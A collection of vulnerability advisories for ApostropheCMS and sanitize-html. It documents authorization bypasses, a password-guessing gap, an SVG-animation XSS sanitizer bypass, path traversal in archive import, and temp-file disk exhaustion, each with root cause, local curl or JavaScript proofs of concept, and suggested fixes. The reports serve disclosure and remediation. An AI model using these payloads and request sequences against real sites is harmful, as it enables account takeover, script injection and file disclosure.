Summary The self-service password-change endpoint verifies the current password but does not use the login module’s failed-attempt counter, throttle, delay, or lockout mechanism. An attacker with a valid authenticated session can submit repeated guesses for the current password without receiving a lockout or throttle response.
Exact source path packages/apostrophe/modules/@apostrophecms/settings/index.js:621-664
The password-change route is: PATCH /api/v1/@apostrophecms/settings/password
The route calls the password verifier directly through: await self.handleProtectedSubform(req, subform, req.body );
The password verification path is: packages/apostrophe/modules/@apostrophecms/settings/index.js:514-542
async handlePasswordProtectedSubform(req, subform, payload) { try { await self.apos.user.verifyPassword(req.user, payload.passwordCurrent); } catch (e) { throw self.apos.error( 'forbidden', 'apostrophe:passwordCurrentError', { path: 'passwordCurrent' } ); } return subform; }
The verifier itself does not increment the login-attempt cache or enforce a delay: packages/apostrophe/modules/@apostrophecms/user/index.js:412-487
By contrast, the login route explicitly calls checkLoginAttempts and addLoginAttempt in: packages/apostrophe/modules/@apostrophecms/login/index.js:831-929
Local PoC The test used a disposable authenticated guest session against:
Request:
PATCH /api/v1/@apostrophecms/settings/password HTTP/1.1 Host: 127.0.0.1:3000 Cookie: <redacted-authenticated-session> Content-Type: application/json
{ "password": "new-temporary-password", "passwordRepeat": "new-temporary-password", "passwordCurrent": "definitely-wrong-current-password" }
Equivalent command:
for i in 1 2 3 4 5; do time curl -i -sS \ -b /path/to/temporary-session-cookie-jar.txt \ -X PATCH \ 'http://127.0.0.1:3000/api/v1/@apostrophecms/settings/password' \ -H 'Content-Type: application/json' \ --data-raw '{ "password": "new-temporary-password", "passwordRepeat": "new-temporary-password", "passwordCurrent": "definitely-wrong-current-password" }' done
Observed response All five attempts returned the same immediate validation response: HTTP/1.1 403 Forbidden Content-Type: application/json; charset=utf-8 { "name": "forbidden", "data": { "path": "passwordCurrent" }, "message": "apostrophe:passwordCurrentError" }
Observed timings were approximately: Attempt 1: 231 ms Attempt 2: 232 ms Attempt 3: 226 ms Attempt 4: 229 ms Attempt 5: 226 ms
No attempt returned a throttle response, lockout message, Retry-After header, or rate-limit status.
seq 1 20 | xargs -P 20 -I{} sh -c \ "curl --max-time 15 -sS \ -o /tmp/password-attempt-{}.body \ -w '%{httpcode}\\n' \ -b /path/to/temporary-session-cookie-jar.txt \ -X PATCH \ 'http://127.0.0.1:3000/api/v1/@apostrophecms/settings/password' \ -H 'Content-Type: application/json' \ --data-raw '{\"password\":\"new-temporary-password-{}\",\"passwordRepeat\":\"new-temporary-password-{}\",\"passwordCurrent\":\"wrong-current-{}\"}'"
Result: 20 requests -> HTTP 403 Forbidden 0 requests -> HTTP 429 Too Many Requests 0 requests -> lockout response
The valid password continued to authenticate afterward: POST /api/v1/@apostrophecms/login/login HTTP/1.1 HTTP/1.1 200 OK
Impact An attacker who has obtained or hijacked a valid authenticated session can repeatedly guess the current password through the password-change endpoint. Each guess receives a normal response, and the route does not apply the login throttle or lockout mechanism. If the current password is weak or reused, this can allow the attacker to pass the current-password check and replace the account password. The attacker would then be able to log in after the password change. The attack requires a valid authenticated session and does not work anonymously. Severity Medium, subject to the application’s session-threat model. The prerequisite of an already authenticated session limits exploitability, but successful guessing leads directly to account takeover through password replacement.
Summary The REST route GET /api/v1/<piece-type>/:id/locales (and the equivalent page route) does not apply the publicApiCheckAsync gate that ApostropheCMS's other read routes enforce. An unauthenticated caller can therefore query this route for any document id and learn whether the document exists and which locales it is published in — a document-existence and locale-metadata disclosure that the read-API is otherwise supposed to gate. Affected - Repository: apostrophecms/apostrophe (monorepo package apostrophe). - Confirmed at 4.32.2 (commit d3ff8c9 == the shipped 4.32.2; unchanged at current HEAD). No fix at time of report. - Stack: Node.js / Express + MongoDB. - Endpoints: GET /api/v1/<piece-type>/:id/locales and GET /api/v1/@apostrophecms/page/:id/locales.
Technical detail - Unsafe: modules/@apostrophecms/piece-type/index.js:397 registers the :id/locales route with no publicApiCheckAsync. The page module has the same omission at modules/@apostrophecms/page/index.js:925. - Gated siblings: the read routes in the same module (e.g. getAll at piece-type/index.js:256-263) call publicApiCheckAsync (:263) to enforce the public-API access policy. - So the locales handler (which calls getLocales() for the document) runs for any caller regardless of the public-API gate the other read routes apply, returning the document's locale/publication metadata without authorization.
Impact
An unauthenticated caller can confirm the existence of a document by id and enumerate its locales/publication state — information the read-API is meant to gate. Defensibly 4.3 (AC:H) given the opaque id precondition (the caller needs a document id). How it was verified (local only) Reproduced against apostrophe@4.32.2 (== commit d3ff8c9) locally with synthetic content: - Source review confirmed the :id/locales route lacks publicApiCheckAsync while the sibling read routes have it. - An unauthenticated GET /api/v1/<piece-type>/<id>/locales returned the document's locale metadata (existence + locales), while the gated read routes (e.g. getAll) correctly required the public-API policy. - Control: the same route with the publicApiCheckAsync gate added (matching the siblings) denies the unauthenticated request — isolating the missing gate as the cause. Synthetic content only; nothing hosted was touched. Remediation Add the publicApiCheckAsync (or equivalent) authorization gate to the :id/locales route in both the piece-type and page modules, matching the sibling read routes, so the locale/existence metadata is only returned to callers permitted by the public-API policy. Credit Please credit Santosh Kumar Puppala (https://github.com/Santoshkumarpuppala).
Summary ApostropheCMS’s exist-in-locale API allows an authenticated low-privilege user to determine whether restricted documents exist in a specified locale and mode, including draft mode. The endpoint returns localized document identifiers without applying document-level view or edit authorization criteria.
The issue was reproduced against a real local ApostropheCMS application running the reviewed source code. The test used a synthetic guest account and synthetic restricted draft records.
Details Exact vulnerable source path: packages/apostrophe/modules/@apostrophecms/i18n/index.js:503-529 Exact API route: POST /api/v1/@apostrophecms/i18n/exist-in-locale The handler verifies only that the requester is authenticated:
if (!req.user) { throw self.apos.error('notfound'); } It then performs a direct database lookup using attacker-controlled document IDs, locale, and mode:
const found = await self.apos.doc.db.find({ aposLocale: ${locale}:${mode}, aposDocId: { $in: ids.map(self.apos.doc.toAposDocId) } }).project({ id: 1, aposDocId: 1 }).toArray(); This query does not apply:
.permission('view') .permission('edit') apos.permission.criteria(req, 'view') object-level document authorization locale-specific authorization
The endpoint accepts multiple IDs, making bulk probing possible.
Proof of Concept
The local application was running at: http://127.0.0.1:3000 The test account had the low-privilege role: guest The local database contained synthetic records for the restricted document base ID: wv2l4rbaplgzkg80zkne4aoz:en:draft wv2l4rbaplgzkg80zkne4aoz:fr:draft All credentials and cookies are intentionally redacted below.
POST /api/v1/@apostrophecms/i18n/exist-in-locale HTTP/1.1 Host: 127.0.0.1:3000 Cookie: <redacted-authenticated-guest-session> Content-Type: application/json Accept: application/json
{ "ids": [ "wv2l4rbaplgzkg80zkne4aoz:en:draft", "ckzzzzzzzzzzzzzzzzzzzzzzz:en:draft" ], "locale": "fr", "mode": "draft" } Equivalent command curl -i -sS -X POST \ 'http://127.0.0.1:3000/api/v1/@apostrophecms/i18n/exist-in-locale' \ -b /path/to/redacted-guest-cookie-jar.txt \ -H 'Content-Type: application/json' \ -H 'Accept: application/json' \ --data-raw '{ "ids": [ "wv2l4rbaplgzkg80zkne4aoz:en:draft", "ckzzzzzzzzzzzzzzzzzzzzzzz:en:draft" ], "locale": "fr", "mode": "draft" }' Observed response HTTP/1.1 200 OK X-Powered-By: Express Content-Type: application/json; charset=utf-8
{ "originalLocaleIds": [ "wv2l4rbaplgzkg80zkne4aoz:en:draft" ], "newLocaleIds": [ "wv2l4rbaplgzkg80zkne4aoz:fr:draft" ], "aposDocIds": [ "wv2l4rbaplgzkg80zkne4aoz" ] } The nonexistent ID was omitted from the response. This proves that the endpoint acts as an existence oracle.
Authorization control Using the same authenticated guest session and the localized document identifier returned above, the normal page API was requested:
GET /api/v1/@apostrophecms/page/wv2l4rbaplgzkg80zkne4aoz:fr:draft HTTP/1.1 Host: 127.0.0.1:3000 Cookie: <redacted-authenticated-guest-session> Accept: application/json
Observed response: HTTP/1.1 403 Forbidden Content-Type: application/json; charset=utf-8 { "name": "forbidden", "data": {}, "message": "forbidden" }
This demonstrates the authorization boundary clearly:
| Request | Result | | ----------------------------------------------- | ----------------------------------- | | Normal page API for the restricted draft | 403 Forbidden | | exist-in-locale for the same restricted draft | 200 OK with localized document ID | | exist-in-locale for a nonexistent ID | 200 OK with empty arrays |
Additional impact validation
The behavior was also tested across multiple locale and mode combinations:
| Query | Result | | ----------------------------- | ---------------------------------------------------------- | | locale=fr, mode=draft | Returned wv2l4rbaplgzkg80zkne4aoz:fr:draft | | locale=fr, mode=published | Returned empty arrays because no published fixture existed | | locale=de, mode=draft | Returned empty arrays because no German fixture existed | | Two IDs in one request | Existing ID returned; nonexistent ID omitted |
This confirms that the endpoint can be used to discover whether a document has a localized draft in a particular locale and to perform bulk enumeration.
Impact A low-privilege authenticated user can: Probe arbitrary known or guessed document base IDs. Determine whether restricted documents have localized versions. Determine whether unpublished draft versions exist. Identify which locales contain matching records. Obtain exact localized document identifiers. Submit multiple IDs in one request for bulk reconnaissance. The issue does not directly disclose the document body or grant write, publish, or delete privileges. During testing, no content was modified, published, deleted, or exposed beyond the identifier metadata.
Recommended remediation Before executing the database lookup, apply the same document-level authorization criteria used by the normal document API. The query should be restricted to documents the requester is authorized to view in the requested locale and mode. Draft queries should additionally require the appropriate draft-view permission for the specific document, not merely authentication or a global role check. The endpoint should also avoid returning localized document identifiers for records that fail the requester’s document-level permission criteria.
[[1] ApostropheCMS i18n source — existInLocale handler, lines 503–529](https://github.com/apostrophecms/apostrophe/blob/61d137f31a0de15a8eb70b7e65032e0519fc6e61/packages/apostrophe/modules/@apostrophecms/i18n/index.js#L503-L529)
[[2] Official ApostropheCMS i18n API documentation](https://apostrophecms.com/docs/reference/api/i18n.html)
Summary
A rejected upload can remain in the operating system temporary directory.
Multer writes the file before its extension is checked, and the rejection path does not remove that temporary file. An unauthenticated requester can repeat this with large files and steadily consume temporary disk space.
Details
The endpoint is:
text POST /api/v1/@apostrophecms/rich-text-widget/generate-csv-table
In packages/apostrophe/modules/@apostrophecms/rich-text-widget/lib/apiRoutes.js, Multer first writes the upload to os.tmpdir(). The handler then rejects filenames whose extension is not csv, but there is no cleanup of the Multer file on this error path.
The route does not require an authenticated user. A normal CSRF cookie is sufficient.
During testing, the request returned HTTP 400 with Only csv files are supported, while the complete uploaded content remained in a randomly named file in the configured temporary directory after the response.
Relationship to prior public work
I reviewed PR #5013, which migrated the Rich Text CSV upload path from connect-multiparty to Multer. This report concerns cleanup after that migration: the rejected Multer file remains on disk, a behavior not described in the PR or its review discussion.
POC
Create a small test file. A larger file can be used to demonstrate disk growth, but 1 MiB is enough for a safe local reproduction:
bash dd if=/dev/zero of=rejected.txt bs=1M count=1
Obtain the normal site cookies and send the rejected upload:
bash curl -c cookies.txt 'http://127.0.0.1:3000/' > /dev/null
curl -i -b cookies.txt \ -F 'file=@rejected.txt;filename=rejected.txt;type=text/plain' \ 'http://127.0.0.1:3000/api/v1/@apostrophecms/rich-text-widget/generate-csv-table'
The response is HTTP 400. Compare the contents of the system temporary directory before and after the request:
bash ls -lt /tmp
A new randomly named file remains present and contains the uploaded bytes.
No login is required. Repeating the multipart request creates additional persistent temporary files.
Impact
A remote unauthenticated attacker can fill the partition used by the operating system temporary directory. Once that partition is exhausted, Apostrophe and unrelated services on the same host may fail to upload files, create temporary data, or continue operating normally.
The attack requires only repeated HTTP requests and the stored files remain after each rejected response.
ApostropheCMS is an open-source Node.js content management system. Prior to 3.7.1 of the import-export module and 4.34.0 of core ApostropheCMS, an editor who can import an enabled content type but lacks its stronger publication role can cause import write helpers to create, replace, or remove published variants without the normal publish permission and lifecycle checks. This issue is fixed in import-export 3.7.1 and ApostropheCMS 4.34.0.
Summary
ApostropheCMS enforces per-type authorization on pages: a page type may declare editRole / publishRole (the core @apostrophecms/archive-page does), so a project can define restricted subtrees that only higher-privileged roles may create or edit within. The move() operation in the @apostrophecms/page module is supposed to enforce that a page may only be moved into a parent the actor has create rights over, the same boundary the page-insert route enforces. The destination-parent authorization check in move() is gated on the move being a cross-parent move (oldParent.id !== parent.id). A same-parent reorder (repositioning a page among its existing siblings under the same parent) short-circuits that check entirely, so an authenticated low-privileged editor who holds edit rights on one ordinary page nested under a restricted parent can reposition it and, in doing so, trigger an unguarded bulk database write that re-ranks the restricted parent's other children, documents the editor has no authorization to modify.
Root Cause
The security invariant is that mutating the sibling ordering of a restricted parent's children requires create authority on that parent, which is exactly what the page-insert path enforces (insert() throws forbidden when !parent.create before it nudges peers). The destination authorization guard in move() restores this boundary only for cross-parent moves: its leading conjunct is (oldParent.id !== parent.id). For a same-parent reorder both oldParent and parent are the identical restricted parent, so the conjunct is false, the whole conditional short-circuits, and the parent.create requirement is never evaluated. The only surviving gate on the path is moved.edit, which the editor legitimately holds for the ordinary page being moved. The subsequent sibling re-rank is issued as a raw MongoDB updateMany that never passes through the per-document beforeUpdate edit check, so the restricted siblings are modified with no authorization at all.
text Affected function: @apostrophecms/page move() (inner body) packages/apostrophe/modules/@apostrophecms/page/index.js:1684-1691 if ( (oldParent.id !== parent.id) && // false for a same-parent reorder -> whole check skipped (parent.type !== '@apostrophecms/archive-page') && (!parent.create) && !(oldParent.type === '@apostrophecms/archive-page' && parent.edit) ) { throw self.apos.error('forbidden'); }
Unguarded sink: nudgeNewPeers() packages/apostrophe/modules/@apostrophecms/page/index.js:1781-1803 await self.apos.doc.db.updateMany( { path: matchDescendants(parent), level: parent.level + 1, aposLocale: { $in: [ draft, published ] }, rank: { $gte: rank } }, { $inc: { rank: 1 } }); // no permission clause; bypasses beforeUpdate
Contrasting correct boundary: insert() packages/apostrophe/modules/@apostrophecms/page/index.js:1436-1439 if (!parent.create) { throw self.apos.error('forbidden'); } // enforced for every position
Impact
The attacker is an authenticated low-privileged user, an editor (or a contributor operating in draft mode), who holds edit rights on at least one ordinary page that is nested as a direct child of a restricted-type parent. No admin rights and no special tokens are required. Authorization in this CMS is resolved per page type, not per subtree: a page's editability is judged by its own type's editRole, so an ordinary public-page child can be editable by an editor even though its restricted secret-page-type parent (declaring editRole: admin) is not. Exploiting the gap, the editor can persistently alter the rank (sibling ordering, which drives navigation and menu order) of the restricted parent's other children, documents on which the editor holds no edit, create, publish, or delete authority. Repeating the reposition monotonically inflates those siblings' ranks. This is an integrity and authorization-boundary violation (CWE-862 / CWE-639) confined to sibling ordering; it does not disclose restricted field contents (confidentiality is unaffected) and it does not affect availability. The precondition (an editor-editable page already nested under a restricted parent) is a non-default tree state that an administrator establishes, or that arises from configuration drift when a page type gains a restricting editRole after editable children were already placed beneath it.
Proof of Concept
Dependencies: Node.js and a local MongoDB instance. The reproduction uses ApostropheCMS's own test harness to drive the real apos.page.move() code path with a non-admin editor request. No fresh end-to-end run was performed in the review environment (no MongoDB available); the chain was verified against source, and the sink behavior is independently corroborated by the CVE-2026-63669 advisory's own description and its cross-parent-only regression test.
1. Configure a restricted page type secret-page with editRole: 'admin' and publishRole: 'admin', and an ordinary type public-page with no role restriction. 2. As an admin, create a secret-page section under home, then create two secret-page children beneath it (the pre-existing restricted siblings), and place one editor-editable public-page as a further child of the secret section (the non-default nesting precondition). 3. As a non-admin editor, confirm the editor lacks create/edit on the secret section, then reposition the editable public-page among its siblings under the same secret parent.
javascript // Same-parent reorder under a restricted parent, driven as a non-admin editor. // The move must be forbidden but is not; the restricted siblings are re-ranked. const editorReq = apos.task.getReq({ role: 'editor', user: { id: 'editor-user', title: 'Editor', role: 'editor' } });
// mine is an editor-editable public-page already nested under the admin-only secret section. // secretChild is a pre-existing admin-only sibling under the same secret parent. const before = await apos.page.find(adminReq, { id: secretChild.id }).toObject();
// Reposition mine to firstChild of its OWN current parent (secret) -> same-parent reorder. await apos.page.move(editorReq, mine.id, secret.id, 'firstChild');
const after = await apos.page.find(adminReq, { id: secretChild.id }).toObject(); console.log('secret child rank before:', before.rank, 'after:', after.rank);
text Expected (secure) behavior: apos.page.move() throws "forbidden" for the editor. Observed behavior (source-derived): move() succeeds; nudgeNewPeers() issues updateMany({ ... rank: { $gte: 0 } }, { $inc: { rank: 1 } }) over the secret section's children, so the admin-only sibling's rank changes (e.g. 0 -> 1) even though the editor holds no edit/create rights on it.
Over HTTP the identical effect is reachable by a logged-in non-admin via PATCH /api/v1/@apostrophecms/page/<myPageId>:en:draft with body { "targetId": "<sameParentId>:en:draft", "position": "firstChild" } (also before/after a sibling), since the route reaches move() after only the page.edit gate on the moved page.
Attack Chain
1. Exposure: An authenticated editor sends PATCH (or PUT) /api/v1/@apostrophecms/page/<C> where C is an ordinary page the editor may edit, with body { targetId: <P>, position: 'firstChild' } and P is C's own current restricted parent. The route enforces only page.edit on the moved page C (index.js:1245 for patch, 619 for put). 2. Control: The attacker controls targetId and position. C's editability is resolved from C's own type via checkRoleConfig (permission/index.js:99-102, 114-122); an ordinary public-page passes for an editor regardless of the parent's type. 3. Path: move() resolves the target with getTarget() using .permission(false) (index.js:1873-1899), so no authorization is applied to the restricted parent P. determineRankAndNewParent() sets parent = target = P and getMoved() sets oldParent = P, so oldParent.id === parent.id. 4. Guard: The destination create guard (index.js:1684-1691) leads with (oldParent.id !== parent.id), which is false for the same-parent reorder, so the entire conditional short-circuits and parent.create is never checked. The moved-edit gate (index.js:1661) passes because the editor may edit C. 5. Primitive: nudgeNewPeers() (index.js:1781-1803) issues a raw self.apos.doc.db.updateMany that increments the rank of every direct child of P, including the restricted siblings, bypassing the per-document beforeUpdate edit check (doc-type/index.js:297-304). 6. Result: The editor persistently modifies the sibling ordering of documents under a restricted parent on which they hold no edit, create, publish, or delete authority, and can inflate those ranks arbitrarily by repeating the operation.
Bypass Evidence
This is an incomplete-fix follow-up to CVE-2026-63669 (GHSA-wr5r-wqp2-x4fh, published), whose fix restored the destination create guard in the same move() function. The prior fix and its regression test address only cross-parent moves; the same-parent reorder path was never covered.
- The guard condition at index.js:1684-1691 leads with (oldParent.id !== parent.id). For a same-parent reorder both identifiers are the same restricted parent, so the conjunct evaluates to false and the short-circuit skips the parent.create requirement. The guard's own inline comment scopes it to cross-parent moves. This holds both before and after the prior fix commit, which changed only the trailing archive-exception clause and left the leading cross-parent conjunct intact. - The sink nudgeNewPeers() filters its updateMany only by path, level, aposLocale, and rank (index.js:1783-1792); there is no permission predicate, and because it calls the MongoDB driver directly it never triggers the @apostrophecms/doc-type:beforeUpdate per-document edit check (doc-type/index.js:297-304). - The strongest refutation considered was that "reordering pages within a sibling group an administrator placed you in is intended behavior." It was rejected because the project's own model treats re-ranking a parent's children as a create-gated operation: insert() requires parent.create for every position (index.js:1436-1439) before its own peer nudge. The same-parent move() path is the sole route that performs the equivalent write without that check, and the modified siblings are outside the actor's authority. - A second refutation, that a low-privileged editor could never legitimately hold an editable page under a restricted parent, was disproved: authorization is per type, not per subtree (checkRoleConfig reads only the doc's own type manager), so an editable public-page can exist as a child of a restricted secret-page parent. Post-fix an editor cannot create that nesting themselves (cross-parent move() and insert() both require parent.create), which confirms the precondition is administrator-established or the result of configuration drift, narrowing but not eliminating reachability.
Affected Versions
- Ecosystem: npm - Package: apostrophe - Confirmed affected range: <= 4.32.2 - Latest release checked: 4.32.2 (npm registry; npm view apostrophe version) - Fix status: not fixed (no release addresses the same-parent reorder path)
The current published latest on npm is 4.32.2, and the same-parent reorder path is unguarded at that version (HEAD commit 46141d3, which stamps packages/apostrophe/package.json version 4.32.2). The prior fix for CVE-2026-63669 landed in the 4.32.0 line but only closed the cross-parent route, so the same-parent gap persists in the fixed line (an incomplete-fix window across 4.32.0 through 4.32.2) and, because the leading cross-parent conjunct predates that fix, in earlier releases as well. The introduction (lower) boundary was not pinned by inspecting each earlier released artifact; the decision-relevant, defensible statement is that the current 4.32.2 release is affected and no release fixes the same-parent path. Do not treat <= 4.32.2 as a proven lower-bounded range without inspecting earlier published artifacts.
Suggested Fix
Enforce destination authorization for the same-parent reorder path as well as for cross-parent moves. The invariant to restore is that re-ranking the children of a parent requires create (or, equivalently, the per-document authority the project uses for that boundary) on that parent, mirroring what insert() already enforces for every position. Concretely, evaluate the parent.create requirement independently of the (oldParent.id !== parent.id) condition, so that a same-parent reorder under a restricted parent is rejected when the actor lacks create on it; or gate nudgeNewPeers() itself on the actor's authority over the affected siblings rather than only on the cross-parent branch. Retaining the existing archive-restore exception is compatible with this change. Add a regression test that asserts a non-admin cannot reorder pages under a parent whose type carries a higher editRole/publishRole, complementing the existing cross-parent test. As an interim mitigation, operators can avoid nesting editor-editable pages beneath restricted-type parents and review such placements after any change that adds an editRole/publishRole to an existing page type.
Reported by zx (GitHub: @manus-pi).
ApostropheCMS is an open-source Node.js content management system. Prior to 4.34.0, the getOne REST endpoint for pages does not apply viewRole type-level restrictions or viewPermission field-level redaction. An editor-level user who knows a document id can read the full content of admin-only pages and their privileged fields, while the getAll endpoint correctly enforces both restrictions. This issue is fixed in version 4.34.0.
Summary When SVG animation is allowed, attributeName="href" makes values a list of URL destinations. sanitize-html accepts a list that starts with a safe fragment even when values is explicitly scheme-checked, allowing a later javascript: destination to execute when the sanitized link is activated.
Details index.js:371-383 validates each attribute as one flat URL. It does not recognize that attributeName="href" gives the sibling values attribute SMIL URI-list semantics. For values="#safe;javascript:...", the leading fragment passes the flat check and the complete list is retained.
PoC This was reproduced with sanitize-html@2.17.6 and Chromium 150.0.7871.124. The configuration adds SVG animation to the defaults and applies the existing scheme policy to values; it does not allow javascript:. Save this as poc.js:
js const sanitize = require('sanitize-html');
const input = <svg><a><animate attributeName="href" values="#safe;javascript:alert('XSS')" dur=".01s" fill="freeze"></animate><text y="30">Click me</text></a></svg>; const output = sanitize(input, { allowedTags: sanitize.defaults.allowedTags.concat(['svg', 'animate', 'text']), allowedAttributes: { ...sanitize.defaults.allowedAttributes, animate: ['attributename', 'values', 'dur', 'fill'], text: ['y'] }, allowedSchemesAppliedToAttributes: sanitize.defaults.allowedSchemesAppliedToAttributes.concat(['values']) }); console.log(output);
Install and run it, then open poc.html and click Click me:
sh npm install sanitize-html@2.17.6 node poc.js > poc.html
The output retains the javascript: entry, and clicking the sanitized SVG displays XSS. With input changed to <a href="javascript:alert(1)">control</a>, the same configuration removes href.
Impact In an application that accepts attacker-authored SVG animation, the attacker can store this payload without scripts or event handlers. A victim who activates the sanitized link executes JavaScript in the application's origin despite the configured scheme policy.
Suggested fix Reject attributeName values selecting href or xlink:href on SVG animate and set, while retaining safe targets such as fill. Add values, from, and to regression cases.
ApostropheCMS is an open-source Node.js content management system. In 4.32.0 and earlier, PATCH /api/v1/article/:id accepts the inherited path toString.call and passes it through the utility module to apos.util.set() and apos.util.get(), allowing an authenticated editor to overwrite the shared Object.prototype.toString function's call property and cause a persistent process-wide denial of service until restart.
Summary
The @apostrophecms/import-export module reconstructs the on-disk source path of every imported attachment from JSON metadata contained in the uploaded archive.
The archive carries an aposAttachments.json file whose name and extension fields are concatenated into a filesystem path with no traversal check. The zip-slip guard that the module applies during tar extraction validates tar entry names only and does not cover this second path, which is built after extraction.
The file at the resulting path is read and copied into the public uploads directory, then served over HTTP without authentication. A ../ sequence in name makes the module read a file outside the extraction directory and publish it at an anonymous URL.
Result: an authenticated contributor reads any file on the host whose name ends in an allowlisted extension (other users' uploaded documents, text or CSV dumps, PDFs) by importing a crafted archive and fetching the planted attachment anonymously.
Affected
apostrophecms/apostrophe with the @apostrophecms/import-export module installed and registered. Module version 3.6.1 (current latest), tested against Apostrophe 4.31.0 (monorepo HEAD 4d478d9). Requires an account with the contributor role or higher; guest and anonymous requests are rejected. The module is not part of the default starter kit, so sites that never installed it are not affected. Files whose real name lacks an accepted file-group extension are not reachable.
Root cause
The import parser builds each attachment's source path by concatenating attacker-controlled JSON fields: lib/formats/gzip.js:46 sets file.path = path.join(attachmentFilesPath, ${attachment.id}-${attachment.name}.${attachment.extension}) from the aposAttachments.json entries in the uploaded archive. That path flows unchanged through lib/methods/import.js:832 (insertAttachments) into lib/methods/import.js:1074 (attachment.insert), where uploadfs copies the referenced file into the public uploads directory served by express.static. The archive's only traversal guard, lib/formats/gzip.js:143 (if (name.includes('../'))), validates tar entry names during extraction and never inspects the name/extension values used to construct the read path, so a name of ../../../../../../tmp/secret escapes attachmentFilesPath. Reaching the sink requires only an authenticated session (lib/methods/import.js:71), view permission on the target type (lib/methods/index.js:54), and the upload-attachment permission enforced at modules/@apostrophecms/attachment/index.js:442, which the built-in contributor role holds. The trailing .${extension} is appended and checked against the file-group allowlist in modules/@apostrophecms/attachment/index.js (getFileGroup), so the target file's real name must end in an accepted extension (txt, csv, pdf, xls, doc, svg, and similar).
Reproduction
Apostrophe 4.31.0 starter-kit-essentials, MongoDB, default roles, @apostrophecms/import-export 3.6.1 installed, local uploadfs backend.
1. Place a secret file outside the upload tree with an allowlisted extension.
$ cat /tmp/aposvictimsecret.txt TOP-SECRET DB DUMP DBPASSWORD=Pr0d-Secret-9981 APIKEY=sklivevictimabcdef
2. Build a gzip archive whose aposAttachments.json points the attachment name at that file through traversal (aposDocs.json is []).
[{"id":"evilatt0001","name":"../../../../../../../../../../../../tmp/aposvictimsecret","extension":"txt","title":"loot","docIds":[],"crops":[]}]
3. As a contributor, import the archive through the module's import action (POST /api/v1/@apostrophecms/<type>/import-export-import), then fetch the created attachment with no session.
$ curl -i http://localhost:3500/uploads/attachments/evilatt0001-apos-victim-secret.txt HTTP/1.1 200 OK Content-Type: text/plain; charset=UTF-8
TOP-SECRET DB DUMP DBPASSWORD=Pr0d-Secret-9981 APIKEY=sklivevictimabcdef
Live-verified: a contributor-driven import reads /tmp/aposvictimsecret.txt (outside the extraction directory) and serves it at an anonymous URL; the same import run as a guest is rejected at the upload-attachment check (modules/@apostrophecms/attachment/index.js:442).
Impact
- Read of arbitrary host files whose real name ends in an allowlisted extension (txt, csv, pdf, xls, doc, svg, and similar). - Disclosure of other users' uploaded documents and any allowlisted-extension file readable by the Node process. - The exfiltration target is copied to a public, unauthenticated URL. - Triggered by the contributor role in a single import, no admin interaction.
Credit
Jan Kahmen, turingpoint (jan@turingpoint.de)
Summary ApostropheCMS enforces per-type authorization on pages: a page type may declare editRole / publishRole (and the core @apostrophecms/archive-page does), so a project can have page-type subtrees that only higher-privileged roles are allowed to create or edit within. The move() operation is supposed to enforce that a page may only be moved into a parent the actor has create rights over — this is the same boundary the page-insert route enforces (the insert target is fetched with .permission('create')).
A regression in the move authorization guard silently disabled that destination check for every normal move. The guard now reads (oldParent.id !== parent.id) && (parent.type !== '@apostrophecms/archive-page') && (!parent.create) && (oldParent.type === '@apostrophecms/archive-page' && !parent.edit). Because the final && clause requires oldParent.type === '@apostrophecms/archive-page', the whole conjunction can only be true while restoring a page out of the archive. For any ordinary move (the source page's old parent is a normal page), that clause is false, the entire condition is false, and !parent.create is never evaluated. The only surviving gate in the whole path is moved.edit — i.e. "can the actor edit the page being moved", which a low-privileged editor legitimately holds for their own ordinary pages.
The result is that any authenticated user who can edit at least one page can relocate that page under a parent of a restricted type they have no create/edit rights over, and in doing so trigger an unauthenticated, unchecked updateMany that re-ranks the restricted parent's existing children (documents the actor cannot edit). This is reachable directly from the documented PATCH/PUT /api/v1/@apostrophecms/page/:id REST routes via the attacker-controlled targetId / position body fields.
Affected code (4.31.0)
The broken guard in move() — packages/apostrophe/modules/@apostrophecms/page/index.js:
js if (!moved.edit) { throw self.apos.error('forbidden'); } if (!(parent && oldParent)) { // Move outside tree throw self.apos.error('forbidden'); } if ( (oldParent.id !== parent.id) && (parent.type !== '@apostrophecms/archive-page') && (!parent.create) && (oldParent.type === '@apostrophecms/archive-page' && !parent.edit) // <-- regression: gates the whole check on "moving out of the archive" ) { throw self.apos.error('forbidden'); }
The target/parent is fetched with permission filtering explicitly OFF (so the guard above is the only thing that is supposed to enforce destination authorization) — getTarget():
js const target = await self.findForEditing(req, criteria) .permission(false) // target is located regardless of the actor's rights .archived(null) .areas(false) .ancestors({ depth: 1, ... permission: false }) .children({ depth: 1, ... permission: false }).toObject();
The privileged sink that then runs unguarded — nudgeNewPeers() re-ranks the destination parent's existing children with a raw DB write and no permission check:
js async function nudgeNewPeers() { const locale = moved.aposLocale.split(':')[0]; const criteria = { path: self.matchDescendants(parent), aposLocale: { $in: [ ${locale}:draft, ${locale}:published ] }, level: parent.level + 1, rank: { $gte: rank } }; // Nudge down the pages that should now follow us await self.apos.doc.db.updateMany(criteria, { $inc: { rank: 1 } }); ... }
The REST entry point — the patch route reaches move() after only the moved.edit gate, with attacker-controlled targetId / position:
js const page = await self.findOneForEditing(req, { id }); ... if (!page.edit) { throw self.apos.error('forbidden'); } ... if (input.targetId) { const targetId = self.apos.launder.string(input.targetId); const position = self.apos.launder.string(input.position); modified = await self.move(req, page.id, targetId, position); }
For comparison, the sibling page-insert route enforces the destination boundary correctly by fetching the target with create-permission filtering, so an actor without create rights under the target gets notfound:
js // post route (insert) const target = await self.getTarget(req, ...).permission('create') ... // restricted target is not found -> insert denied
Provenance (introduced regression) The guard was correct until commit 9f72bd229be07e537a2ae894f4527f2fe6bcd3bd ("allow restore pages"), which changed it from (oldParent.id !== parent.id) && (parent.type !== '@apostrophecms/archive-page') && (!parent.create) to the four-clause version above. The intent was to stop legitimate archive restores (where parent.create can be false) from being wrongly forbidden, but ANDing the new clause onto the existing chain gated the entire create enforcement on oldParent being the archive — silently removing destination authorization for all normal moves. The condition is unchanged at HEAD (4.31.0).
Attacker model / precondition The attacker is a low-privileged but content-editing authenticated user — in the core role model an editor or (in draft mode) a contributor — who can edit at least one ordinary page. No admin rights, no special tokens.
